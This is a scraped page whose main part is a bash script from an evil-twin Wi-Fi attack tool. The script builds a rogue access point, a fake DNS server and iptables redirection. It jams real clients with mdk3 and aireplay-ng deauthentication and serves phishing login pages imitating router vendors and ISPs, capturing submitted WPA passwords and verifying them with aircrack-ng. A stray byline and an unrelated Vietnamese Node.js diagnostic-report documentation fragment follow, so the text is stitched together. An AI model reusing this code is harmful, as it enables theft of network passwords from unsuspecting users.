DIALOG_WEB_OK=$DIALOG_WEB_OK_HE DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_HE DIALOG_WEB_BACK=$DIALOG_WEB_BACK_HE DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_HE DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_HE DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_HE DIALOG_WEB_DIR=$DIALOG_WEB_DIR_HE NEUTRA break elif [ "$webconf" = 23 ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_TH DIALOG_WEB_INFO=$DIALOG_WEB_INFO_TH DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_TH DIALOG_WEB_OK=$DIALOG_WEB_OK_TH DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_TH DIALOG_WEB_BACK=$DIALOG_WEB_BACK_TH DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_TH DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_TH DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_TH DIALOG_WEB_DIR=$DIALOG_WEB_DIR_TH NEUTRA break elif [ "$webconf" = 24 ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_PT_BR DIALOG_WEB_INFO=$DIALOG_WEB_INFO_PT_BR DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_PT_BR DIALOG_WEB_OK=$DIALOG_WEB_OK_PT_BR DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_PT_BR DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_PT_BR DIALOG_WEB_DIR=$DIALOG_WEB_DIR_PT_BR NEUTRA break elif [ "$webconf" = 25 ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_PT_SVN DIALOG_WEB_INFO=$DIALOG_WEB_INFO_PT_SVN DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_PT_SVN DIALOG_WEB_OK=$DIALOG_WEB_OK_PT_SVN DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_PT_SVN DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_PT_SVN DIALOG_WEB_DIR=$DIALOG_WEB_DIR_PT_SVN NEUTRA SVNeak elif [ "$webconf" = "26" ]; then BELKIN break elif [ "$webconf" = "27" ]; then NETGEAR break elif [ "$webconf" = "28" ]; then HUAWEI break elif [ "$webconf" = "29" ]; then VERIZON break elif [ "$webconf" = "30" ]; then NETGEAR2 break elif [ "$webconf" = "31" ]; then ARRIS2 break elif [ "$webconf" = "32" ]; then VODAFONE break elif [ "$webconf" = "33" ]; then TPLINK break elif [ "$webconf" = "34" ]; then ZIGGO_NL break elif [ "$webconf" = "35" ]; then KPN_NL break elif [ "$webconf" = "36" ]; then ZIGGO2016_NL break elif [ "$webconf" = "37" ]; then FRITZBOX_DE break elif [ "$webconf" = "38" ]; then FRITZBOX_ENG break elif [ "$webconf" = "39" ]; then GENEXIS_DE break elif [ "$webconf" = "40" ]; then Login-Netgear break elif [ "$webconf" = "41" ]; then Login-Xfinity break elif [ "$webconf" = "42" ]; then Telekom break elif [ "$webconf" = "43" ]; then google break elif [ "$webconf" = "44" ]; then MOVISTAR_ES break elif [ "$webconf" = "45" ]; then conditional_clear webinterface break fi done fi preattack attack } # Create different settings required for the script function preattack { # Config HostAPD echo "interface=$WIFI driver=nl80211 ssid=$Host_SSID channel=$Host_CHAN" > $DUMP_PATH/hostapd.conf # Creates PHP echo "<?php error_reporting(0); \$count_my_page = (\"$DUMP_PATH/hit.txt\"); \$hits = file(\$count_my_page); \$hits[0] ++; \$fp = fopen(\$count_my_page , \"w\"); fputs(\$fp , \$hits[0]); fclose(\$fp); // Receive form Post data and Saving it in variables \$key1 = @\$_POST['key1']; // Write the name of text file where data will be store \$filename = \"$DUMP_PATH/data.txt\"; \$filename2 = \"$DUMP_PATH/status.txt\"; \$intento = \"$DUMP_PATH/intento\"; \$attemptlog = \"$DUMP_PATH/pwattempt.txt\"; // Marge all the variables with text in a single variable. \$f_data= ''.\$key1.''; \$pwlog = fopen(\$attemptlog, \"w\"); fwrite(\$pwlog, \$f_data); fwrite(\$pwlog,\"\n\"); fclose(\$pwlog); \$file = fopen(\$filename, \"w\"); fwrite(\$file, \$f_data); fwrite(\$file,\"\n\"); fclose(\$file); \$archivo = fopen(\$intento, \"w\"); fwrite(\$archivo,\"\n\"); fclose(\$archivo); while( 1 ) { if (file_get_contents( \$intento ) == 1) { header(\"Location:error.html\"); unlink(\$intento); break; } if (file_get_contents( \$intento ) == 2) { header(\"Location:final.html\"); break; } sleep(1); } ?>" > $DUMP_PATH/data/check.php # Config DHCP echo "authoritative; default-lease-time 600; max-lease-time 7200; subnet $RANG_IP.0 netmask 255.255.255.0 { option broadcast-address $RANG_IP.255; option routers $IP; option subnet-mask 255.255.255.0; option domain-name-servers $IP; range $RANG_IP.100 $RANG_IP.250; }" > $DUMP_PATH/dhcpd.conf #create an empty leases file touch $DUMP_PATH/dhcpd.leases # creates Lighttpd web-server echo "server.document-root = \"$DUMP_PATH/data/\" server.modules = ( \"mod_access\", \"mod_alias\", \"mod_accesslog\", \"mod_fastcgi\", \"mod_redirect\", \"mod_rewrite\" ) fastcgi.server = ( \".php\" => (( \"bin-path\" => \"/usr/bin/php-cgi\", \"socket\" => \"/php.socket\" ))) server.port = 80 server.pid-file = \"/var/run/lighttpd.pid\" # server.username = \"www\" # server.groupname = \"www\" mimetype.assign = ( \".html\" => \"text/html\", \".htm\" => \"text/html\", \".txt\" => \"text/plain\", \".jpg\" => \"image/jpeg\", \".png\" => \"image/png\", \".css\" => \"text/css\" ) server.error-handler-404 = \"/\" static-file.exclude-extensions = ( \".fcgi\", \".php\", \".rb\", \"~\", \".inc\" ) index-file.names = ( \"index.htm\", \"index.html\" ) \$SERVER[\"socket\"] == \":443\" { url.redirect = ( \"^/(.*)\" => \"http://www.internet.com\") ssl.engine = \"enable\" ssl.pemfile = \"$DUMP_PATH/server.pem\" } #Redirect www.domain.com to domain.com \$HTTP[\"host\"] =~ \"^www\.(.*)$\" { url.redirect = ( \"^/(.*)\" => \"http://%1/\$1\" ) ssl.engine = \"enable\" ssl.pemfile = \"$DUMP_PATH/server.pem\" } " >$DUMP_PATH/lighttpd.conf # that redirects all DNS requests to the gateway echo "import socket class DNSQuery: def __init__(self, data): self.data=data self.dominio='' tipo = (ord(data[2]) >> 3) & 15 if tipo == 0: ini=12 lon=ord(data[ini]) while lon != 0: self.dominio+=data[ini+1:ini+lon+1]+'.' ini+=lon+1 lon=ord(data[ini]) def respuesta(self, ip): packet='' if self.dominio: packet+=self.data[:2] + \"\x81\x80\" packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' packet+=self.data[12:] packet+='\xc0\x0c' packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) return packet if __name__ == '__main__': ip='$IP' print 'pyminifakeDwebconfNS:: dom.query. 60 IN A %s' % ip udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) udps.bind(('',53)) try: while 1: data, addr = udps.recvfrom(1024) p=DNSQuery(data) udps.sendto(p.respuesta(ip), addr) print 'Request: %s -> %s' % (p.dominio, ip) except KeyboardInterrupt: print 'Finalizando' udps.close()" > $DUMP_PATH/fakedns chmod +x $DUMP_PATH/fakedns } # Set up DHCP / WEB server # Set up DHCP / WEB server function routear { ifconfig $interfaceroutear up ifconfig $interfaceroutear $IP netmask 255.255.255.0 route add -net $RANG_IP.0 netmask 255.255.255.0 gw $IP sysctl -w net.ipv4.ip_forward=1 &>$flux_output_device iptables --flush iptables --table nat --flush iptables --delete-chain iptables --table nat --delete-chain iptables -P FORWARD ACCEPT iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $IP:80 iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination $IP:443 iptables -A INPUT -p tcp --sport 443 -j ACCEPT iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT iptables -t nat -A POSTROUTING -j MASQUERADE } # Attack function attack { interfaceroutear=$WIFI handshakecheck nomac=$(tr -dc A-F0-9 < /dev/urandom | fold -w2 |head -n100 | grep -v "${mac:13:1}" | head -c 1) if [ "$fakeapmode" = "hostapd" ]; then ifconfig $WIFI down sleep 0.4 macchanger --mac=${mac::13}$nomac${mac:14:4} $WIFI &> $flux_output_device sleep 0.4 ifconfig $WIFI up sleep 0.4 fi if [ $fakeapmode = "hostapd" ]; then killall hostapd &> $flux_output_device xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e hostapd $DUMP_PATH/hostapd.conf & elif [ $fakeapmode = "airbase-ng" ]; then killall airbase-ng &> $flux_output_device xterm $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e airbase-ng -P -e $Host_SSID -c $Host_CHAN -a ${mac::13}$nomac${mac:14:4} $WIFI_MONITOR & fi sleep 5 routear & sleep 3 killall dhcpd &> $flux_output_device fuser -n tcp -k 53 67 80 &> $flux_output_device fuser -n udp -k 53 67 80 &> $flux_output_device xterm -bg black -fg green $TOPLEFT -T DHCP -e "dhcpd -d -f -lf "$DUMP_PATH/dhcpd.leases" -cf "$DUMP_PATH/dhcpd.conf" $interfaceroutear 2>&1 | tee -a $DUMP_PATH/clientes.txt" & xterm $BOTTOMLEFT -bg "#000000" -fg "#99CCFF" -title "FAKEDNS" -e "if type python2 >/dev/null 2>/dev/null; then python2 $DUMP_PATH/fakedns; else python $DUMP_PATH/fakedns; fi" & lighttpd -f $DUMP_PATH/lighttpd.conf &> $flux_output_device killall aireplay-ng &> $flux_output_device killall mdk3 &> $flux_output_device echo "$Host_MAC" >$DUMP_PATH/mdk3.txt xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauth all [mdk3] $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & xterm -hold $TOPRIGHT -title "Wifi Information" -e $DUMP_PATH/handcheck & conditional_clear while true; do top echo -e ""$red"["$yellow"2"$red"]"$transparent" Attack in progress .." echo " " echo " 1) Choose another network" echo " 2) Exit" echo " " echo -n ' #> ' read yn case $yn in 1 ) matartodo; CSVDB=dump-01.csv; selection; break;; 2 ) matartodo; exitmode; break;; * ) echo " $general_case_error"; conditional_clear ;; esac done } # Checks the validity of the password function handshakecheck { echo "#!/bin/bash echo > $DUMP_PATH/data.txt echo -n \"0\"> $DUMP_PATH/hit.txt echo "" >$DUMP_PATH/loggg tput civis clear minutos=0 horas=0 i=0 timestamp=\$(date +%s) while true; do segundos=\$i dias=\`expr \$segundos / 86400\` segundos=\`expr \$segundos % 86400\` horas=\`expr \$segundos / 3600\` segundos=\`expr \$segundos % 3600\` minutos=\`expr \$segundos / 60\` segundos=\`expr \$segundos % 60\` if [ \"\$segundos\" -le 9 ]; then is=\"0\" else is= fi if [ \"\$minutos\" -le 9 ]; then im=\"0\" else im= fi if [ \"\$horas\" -le 9 ]; then ih=\"0\" else ih= fi">>$DUMP_PATH/handcheck if [ $authmode = "handshake" ]; then echo "if [ -f $DUMP_PATH/pwattempt.txt ]; then cat $DUMP_PATH/pwattempt.txt >> \"$PASSLOG_PATH/$Host_SSID-$Host_MAC.log\" rm -f $DUMP_PATH/pwattempt.txt fi if [ -f $DUMP_PATH/intento ]; then if ! aircrack-ng -w $DUMP_PATH/data.txt $DUMP_PATH/$Host_MAC-01.cap | grep -qi \"Passphrase not in\"; then echo \"2\">$DUMP_PATH/intento break else echo \"1\">$DUMP_PATH/intento fi fi">>$DUMP_PATH/handcheck elif [ $authmode = "wpa_supplicant" ]; then echo " if [ -f $DUMP_PATH/pwattempt.txt ]; then cat $DUMP_PATH/pwattempt.txt >> $PASSLOG_PATH/$Host_SSID-$Host_MAC.log rm -f $DUMP_PATH/pwattempt.txt fi wpa_passphrase $Host_SSID \$(cat $DUMP_PATH/data.txt)>$DUMP_PATH/wpa_supplicant.conf & wpa_supplicant -i$WIFI -c$DUMP_PATH/wpa_supplicant.conf -f $DUMP_PATH/loggg & if [ -f $DUMP_PATH/intento ]; then if grep -i 'WPA: Key negotiation completed' $DUMP_PATH/loggg; then echo \"2\">$DUMP_PATH/intento break else echo \"1\">$DUMP_PATH/intento fi fi ">>$DUMP_PATH/handcheck fi echo "readarray -t CLIENTESDHCP < <(nmap -PR -sn -n -oG - $RANG_IP.100-110 2>&1 | grep Host ) echo echo -e \" ACCESS POINT:\" echo -e \" SSID............: "$white"$Host_SSID"$transparent"\" echo -e \" MAC.............: "$yellow"$Host_MAC"$transparent"\" echo -e \" Channel.........: "$white"$Host_CHAN"$transparent"\" echo -e \" Vendor..........: "$green"$Host_MAC_MODEL"$transparent"\" echo -e \" Operation time..: "$blue"\$ih\$horas:\$im\$minutos:\$is\$segundos"$transparent"\" echo -e \" Attempts........: "$red"\$(cat $DUMP_PATH/hit.txt)"$transparent"\" echo -e \" Clients.........: "$blue"\$(cat $DUMP_PATH/clientes.txt | grep DHCPACK | awk '{print \$5}' | sort| uniq | wc -l)"$transparent"\" echo echo -e \" CLIENTS ONLINE:\" x=0 for cliente in \"\${CLIENTESDHCP[@]}\"; do x=\$((\$x+1)) CLIENTE_IP=\$(echo \$cliente| cut -d \" \" -f2) CLIENTE_MAC=\$(nmap -PR -sn -n \$CLIENTE_IP 2>&1 | grep -i mac | awk '{print \$3}' | tr [:upper:] [:lower:]) if [ \"\$(echo \$CLIENTE_MAC| wc -m)\" != \"18\" ]; then CLIENTE_MAC=\"xx:xx:xx:xx:xx:xx\" fi CLIENTE_FABRICANTE=\$(macchanger -l | grep \"\$(echo \"\$CLIENTE_MAC\" | cut -d \":\" -f -3)\" | cut -d \" \" -f 5-) if echo \$CLIENTE_MAC| grep -q x; then CLIENTE_FABRICANTE=\"unknown\" fi CLIENTE_HOSTNAME=\$(grep \$CLIENTE_IP $DUMP_PATH/clientes.txt | grep DHCPACK | sort | uniq | head -1 | grep '(' | awk -F '(' '{print \$2}' | awk -F ')' '{print \$1}') echo -e \" $green \$x) $red\$CLIENTE_IP $yellow\$CLIENTE_MAC $transparent($blue\$CLIENTE_FABRICANTE$transparent) $green \$CLIENTE_HOSTNAME$transparent\" done echo -ne \"\033[K\033[u\"">>$DUMP_PATH/handcheck if [ $authmode = "handshake" ]; then echo "let i=\$(date +%s)-\$timestamp sleep 1">>$DUMP_PATH/handcheck elif [ $authmode = "wpa_supplicant" ]; then echo "sleep 5 killall wpa_supplicant &>$flux_output_device killall wpa_passphrase &>$flux_output_device let i=\$i+5">>$DUMP_PATH/handcheck fi echo "done clear echo \"1\" > $DUMP_PATH/status.txt sleep 7 killall mdk3 &>$flux_output_device killall aireplay-ng &>$flux_output_device killall airbase-ng &>$flux_output_device kill \$(ps a | grep python| grep fakedns | awk '{print \$1}') &>$flux_output_device killall hostapd &>$flux_output_device killall lighttpd &>$flux_output_device killall dhcpd &>$flux_output_device killall wpa_supplicant &>$flux_output_device killall wpa_passphrase &>$flux_output_device echo \" FLUX $version by ghost SSID: $Host_SSID BSSID: $Host_MAC ($Host_MAC_MODEL) Channel: $Host_CHAN Security: $Host_ENC Time: \$ih\$horas:\$im\$minutos:\$is\$segundos Password: \$(cat $DUMP_PATH/data.txt) \" >\"$HOME/$Host_SSID-password.txt\"">>$DUMP_PATH/handcheck if [ $authmode = "handshake" ]; then echo "aircrack-ng -a 2 -b $Host_MAC -0 -s $DUMP_PATH/$Host_MAC-01.cap -w $DUMP_PATH/data.txt && echo && echo -e \"The password was saved in "$red"$HOME/$Host_SSID-password.txt"$transparent"\" ">>$DUMP_PATH/handcheck elif [ $authmode = "wpa_supplicant" ]; then echo "echo -e \"The password was saved in "$red"$HOME/$Host_SSID-password.txt"$transparent"\"">>$DUMP_PATH/handcheck fi echo "kill -INT \$(ps a | grep bash| grep flux | awk '{print \$1}') &>$flux_output_device">>$DUMP_PATH/handcheck chmod +x $DUMP_PATH/handcheck } ############################################# < ATTACK > ############################################ ############################################## < STUFF > ############################################ # Deauth all function deauthall { xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $Host_SSID" -e aireplay-ng --deauth $DEAUTHTIME -a $Host_MAC --ignore-negative-one $WIFI_MONITOR & } function deauthmdk3 { echo "$Host_MAC" >$DUMP_PATH/mdk3.txt xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating via mdk3 all clients on $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & mdk3PID=$! } # Deauth to a specific target function deauthesp { sleep 2 xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating client $Client_MAC" -e aireplay-ng -0 $DEAUTHTIME -a $Host_MAC -c $Client_MAC --ignore-negative-one $WIFI_MONITOR & } # Close all processes function matartodo { killall aireplay-ng &>$flux_output_device kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device killall hostapd &>$flux_output_device killall lighttpd &>$flux_output_device killall dhcpd &>$flux_output_device killall xterm &>$flux_output_device } ######################################### < INTERFACE WEB > ######################################## # Create the contents for the web interface function NEUTRA { if [ ! -d $DUMP_PATH/data ]; then mkdir $DUMP_PATH/data fi source $WORK_DIR/lib/site/index | base64 -d > $DUMP_PATH/file.zip unzip $DUMP_PATH/file.zip -d $DUMP_PATH/data &>$flux_output_device rm $DUMP_PATH/file.zip &>$flux_output_device echo "<!DOCTYPE html> <html> <head> <title>Login Page</title> <meta charset=\"UTF-8\"> <meta name=\"viewport\" content=\"width=device-width, height=device-height, initial-scale=1.0\"> <!-- Styles --> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/jquery.mobile-1.4.5.min.css\"/> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/main.css\"/> <!-- Scripts --> <script src=\"js/jquery-1.11.1.min.js\"></script> <script src=\"js/jquery.mobile-1.4.5.min.js\"></script> </head> <body> <!-- final page --> <div id=\"done\" data-role=\"page\" data-theme=\"a\"> <div data-role=\"main\" class=\"ui-content ui-body ui-body-b\" dir=\"$DIALOG_WEB_DIR\"> <h3 style=\"text-align:center;\">$DIALOG_WEB_OK</h3> </div> </div> </body> </html>" > $DUMP_PATH/data/final.html echo "<!DOCTYPE html> <html> <head> <title>Login Page</title> <meta charset=\"UTF-8\"> <meta name=\"viewport\" content=\"width=device-width, height=device-height, initial-scale=1.0\"> <!-- Styles --> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/jquery.mobile-1.4.5.min.css\"/> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/main.css\"/> <!-- Scripts --> <script src=\"js/jquery-1.11.1.min.js\"></script> <script src=\"js/jquery.mobile-1.4.5.min.js\"></script> <script src=\"js/jquery.validate.min.js\"></script> <script src=\"js/additional-methods.min.js\"></script> </head> <body> <!-- Error page --> <div data-role=\"page\" data-theme=\"a\"> <div data-role=\"main\" class=\"ui-content ui-body ui-body-b\" dir=\"$DIALOG_WEB_DIR\"> <h3 style=\"text-align:center;\">$DIALOG_WEB_ERROR</h3> <a href=\"index.htm\" class=\"ui-btn ui-corner-all ui-shadow\" onclick=\"location.href='index.htm'\">$DIALOG_WEB_BACK</a> </div> </div> </body> </html>" > $DUMP_PATH/data/error.html echo "<!DOCTYPE html> <html> <head> <title>Login Page</title> <meta charset=\"UTF-8\"> <meta name=\"viewport\" content=\"width=device-width, height=device-height, initial-scale=1.0\"> <!-- Styles --> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/jquery.mobile-1.4.5.min.css\"/> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/main.css\"/> <!-- Scripts --> <script src=\"js/jquery-1.11.1.min.js\"></script> <script src=\"js/jquery.mobile-1.4.5.min.js\"></script> <script src=\"js/jquery.validate.min.js\"></script> <script src=\"js/additional-methods.min.js\"></script> </head> <body> <!-- Main page --> <div data-role=\"page\" data-theme=\"a\"> <div class=\"ui-content\" dir=\"$DIALOG_WEB_DIR\"> <fieldset> <form id=\"loginForm\" class=\"ui-body ui-body-b ui-corner-all\" action=\"check.php\" method=\"POST\"> </br> <div class=\"ui-field-contain ui-responsive\" style=\"text-align:center;\"> <div>ESSID: <u>$Host_SSID</u></div> <div>BSSID: <u>$Host_MAC</u></div> <div>Channel: <u>$Host_CHAN</u></div> </div> <div style=\"text-align:center;\"> <br><label>$DIALOG_WEB_INFO</label></br> </div> <div class=\"ui-field-contain\" > <label for=\"key1\">$DIALOG_WEB_INPUT</label> <input id=\"key1\" data-clear-btn=\"true\" type=\"password\" value=\"\" name=\"key1\" maxlength=\"64\"/> </div> <input data-icon=\"check\" data-inline=\"true\" name=\"submitBtn\" type=\"submit\" value=\"$DIALOG_WEB_SUBMIT\"/> </form> </fieldset> </div> </div> <script src=\"js/main.js\"></script> <script> $.extend( $.validator.messages, { required: \"$DIALOG_WEB_ERROR_MSG\", maxlength: $.validator.format( \"$DIALOG_WEB_LENGTH_MAX\" ), minlength: $.validator.format( \"$DIALOG_WEB_LENGTH_MIN\" )}); </script> </body> </html>" > $DUMP_PATH/data/index.htm } # Functions to populate the content for the custom phishing pages function ARRIS { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/ARRIS-ENG/* $DUMP_PATH/data } function BELKIN { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/belkin_eng/* $DUMP_PATH/data } function NETGEAR { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/netgear_eng/* $DUMP_PATH/data } function ARRIS2 { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/arris_esp/* $DUMP_PATH/data } function NETGEAR2 { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/netgear_esp/* $DUMP_PATH/data } function TPLINK { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/tplink/* $DUMP_PATH/data } function VODAFONE { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/vodafone_esp/* $DUMP_PATH/data } function VERIZON { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/verizon/Verizon_files $DUMP_PATH/data cp $WORK_DIR/sites/verizon/Verizon.html $DUMP_PATH/data } function HUAWEI { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/huawei_eng/* $DUMP_PATH/data } function ZIGGO_NL { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/ziggo_nl/* $DUMP_PATH/data } function KPN_NL { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/kpn_nl/* $DUMP_PATH/data } function ZIGGO2016_NL { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/ziggo2_nl/* $DUMP_PATH/data } function FRITZBOX_DE { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/fritzbox_de/* $DUMP_PATH/data } function FRITZBOX_ENG { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/fritzbox_eng/* $DUMP_PATH/data } function GENEXIS_DE { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/genenix_de/* $DUMP_PATH/data } function Login-Netgear { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/Login-Netgear/* $DUMP_PATH/data } function Login-Xfinity { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/Login-Xfinity/* $DUMP_PATH/data } function Telekom { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/telekom/* $DUMP_PATH/data } function google { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/google_de/* $DUMP_PATH/data } function MOVISTAR_ES { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/movistar_esp/* $DUMP_PATH/data } ######################################### < INTERFACE WEB > ######################################## top && setresolution && setinterface

    From user emersonmafra

  • githud-sys / b29

    unknown-21-m, Node.js v18.0.0 ► Mục lục ► Mục lục ► Các phiên bản khác ► Tùy chọn Mục lục Báo cáo chẩn đoán Cách sử dụng Cấu hình Tương tác với người lao động Báo cáo chẩn đoán# Độ ổn định: 2 - Ổn định Cung cấp bản tóm tắt chẩn đoán định dạng JSON, được ghi vào một tệp. Báo cáo được thiết kế để phát triển, thử nghiệm và sử dụng trong sản xuất, nhằm thu thập và lưu giữ thông tin để xác định vấn đề. Nó bao gồm JavaScript và dấu vết ngăn xếp gốc, thống kê đống, thông tin nền tảng, sử dụng tài nguyên, v.v. Với tùy chọn báo cáo được bật, báo cáo chẩn đoán có thể được kích hoạt trên các trường hợp ngoại lệ, lỗi nghiêm trọng và tín hiệu người dùng, ngoài việc kích hoạt theo chương trình thông qua các lệnh gọi API. Dưới đây là một báo cáo ví dụ hoàn chỉnh được tạo trên một trường hợp ngoại lệ không cần thiết để tham khảo. { "header": { "reportVersion": 1, "event": "exception", "trigger": "Exception", "filename": "report.20181221.005011.8974.0.001.json", "dumpEventTime": "2018-12-21T00:50:11Z", "dumpEventTimeStamp": "1545371411331", "processId": 8974, "cwd": "/home/nodeuser/project/node", "commandLine": [ "/home/nodeuser/project/node/out/Release/node", "--report-uncaught-exception", "/home/nodeuser/project/node/test/report/test-exception.js", "child" ], "nodejsVersion": "v12.0.0-pre", "glibcVersionRuntime": "2.17", "glibcVersionCompiler": "2.17", "wordSize": "64 bit", "arch": "x64", "platform": "linux", "componentVersions": { "node": "12.0.0-pre", "v8": "7.1.302.28-node.5", "uv": "1.24.1", "zlib": "1.2.11", "ares": "1.15.0", "modules": "68", "nghttp2": "1.34.0", "napi": "3", "llhttp": "1.0.1", "openssl": "1.1.0j" }, "release": { "name": "node" }, "osName": "Linux", "osRelease": "3.10.0-862.el7.x86_64", "osVersion": "#1 SMP Wed Mar 21 18:14:51 EDT 2018", "osMachine": "x86_64", "cpus": [ { "model": "Intel(R) Core(TM) i7-6820HQ CPU @ 2.70GHz", "speed": 2700, "user": 88902660, "nice": 0, "sys": 50902570, "idle": 241732220, "irq": 0 }, { "model": "Intel(R) Core(TM) i7-6820HQ CPU @ 2.70GHz", "speed": 2700, "user": 88902660, "nice": 0, "sys": 50902570, "idle": 241732220, "irq": 0 } ], "networkInterfaces": [ { "name": "en0", "internal": false, "mac": "13:10:de:ad:be:ef", "address": "10.0.0.37", "netmask": "255.255.255.0", "family": "IPv4" } ], "host": "test_machine" }, "javascriptStack": { "message": "Error: *** test-exception.js: throwing uncaught Error", "stack": [ "at myException (/home/nodeuser/project/node/test/report/test-exception.js:9:11)", "at Object.<anonymous> (/home/nodeuser/project/node/test/report/test-exception.js:12:3)", "at Module._compile (internal/modules/cjs/loader.js:718:30)", "at Object.Module._extensions..js (internal/modules/cjs/loader.js:729:10)", "at Module.load (internal/modules/cjs/loader.js:617:32)", "at tryModuleLoad (internal/modules/cjs/loader.js:560:12)", "at Function.Module._load (internal/modules/cjs/loader.js:552:3)", "at Function.Module.runMain (internal/modules/cjs/loader.js:771:12)", "at executeUserCode (internal/bootstrap/node.js:332:15)" ] }, "nativeStack": [ { "pc": "0x000055b57f07a9ef", "symbol": "report::GetNodeReport(v8::Isolate*, node::Environment*, char const*, char const*, v8::Local<v8::String>, std::ostream&) [./node]" }, { "pc": "0x000055b57f07cf03", "symbol": "report::GetReport(v8::FunctionCallbackInfo<v8::Value> const&) [./node]" }, { "pc": "0x000055b57f1bccfd", "symbol": " [./node]" }, { "pc": "0x000055b57f1be048", "symbol": "v8::internal::Builtin_HandleApiCall(int, v8::internal::Object**, v8::internal::Isolate*) [./node]" }, { "pc": "0x000055b57feeda0e", "symbol": " [./node]" } ], "javascriptHeap": { "totalMemory": 6127616, "totalCommittedMemory": 4357352, "usedMemory": 3221136, "availableMemory": 1521370240, "memoryLimit": 1526909922, "heapSpaces": { "read_only_space": { "memorySize": 524288, "committedMemory": 39208, "capacity": 515584, "used": 30504, "available": 485080 }, "new_space": { "memorySize": 2097152, "committedMemory": 2019312, "capacity": 1031168, "used": 985496, "available": 45672 }, "old_space": { "memorySize": 2273280, "committedMemory": 1769008, "capacity": 1974640, "used": 1725488, "available": 249152 }, "code_space": { "memorySize": 696320, "committedMemory": 184896, "capacity": 152128, "used": 152128, "available": 0 }, "map_space": { "memorySize": 536576, "committedMemory": 344928, "capacity": 327520, "used": 327520, "available": 0 }, "large_object_space": { "memorySize": 0, "committedMemory": 0, "capacity": 1520590336, "used": 0, "available": 1520590336 }, "new_large_object_space": { "memorySize": 0, "committedMemory": 0, "capacity": 0, "used": 0, "available": 0 } } }, "resourceUsage": { "userCpuSeconds": 0.069595, "kernelCpuSeconds": 0.019163, "cpuConsumptionPercent": 0.000000, "maxRss": 18079744, "pageFaults": { "IORequired": 0, "IONotRequired": 4610 }, "fsActivity": { "reads": 0, "writes": 0 } }, "uvthreadResourceUsage": { "userCpuSeconds": 0.068457, 